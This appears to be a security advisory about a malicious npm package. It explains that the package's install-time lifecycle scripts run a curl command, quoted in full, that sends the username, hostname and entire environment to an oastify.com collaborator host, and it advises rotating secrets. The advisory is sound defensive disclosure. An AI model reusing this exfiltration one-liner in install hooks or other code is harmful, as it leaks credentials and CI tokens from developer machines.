If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (299310eb47eac6e7f39ee1a7346de8e524d9a91cc6a07d2e8879338fa86ff5af)
package.json declares preinstall and postinstall lifecycle scripts that both execute `curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)"`. On `npm install`, the package runs `whoami`, `hostname`, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (`-k`). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.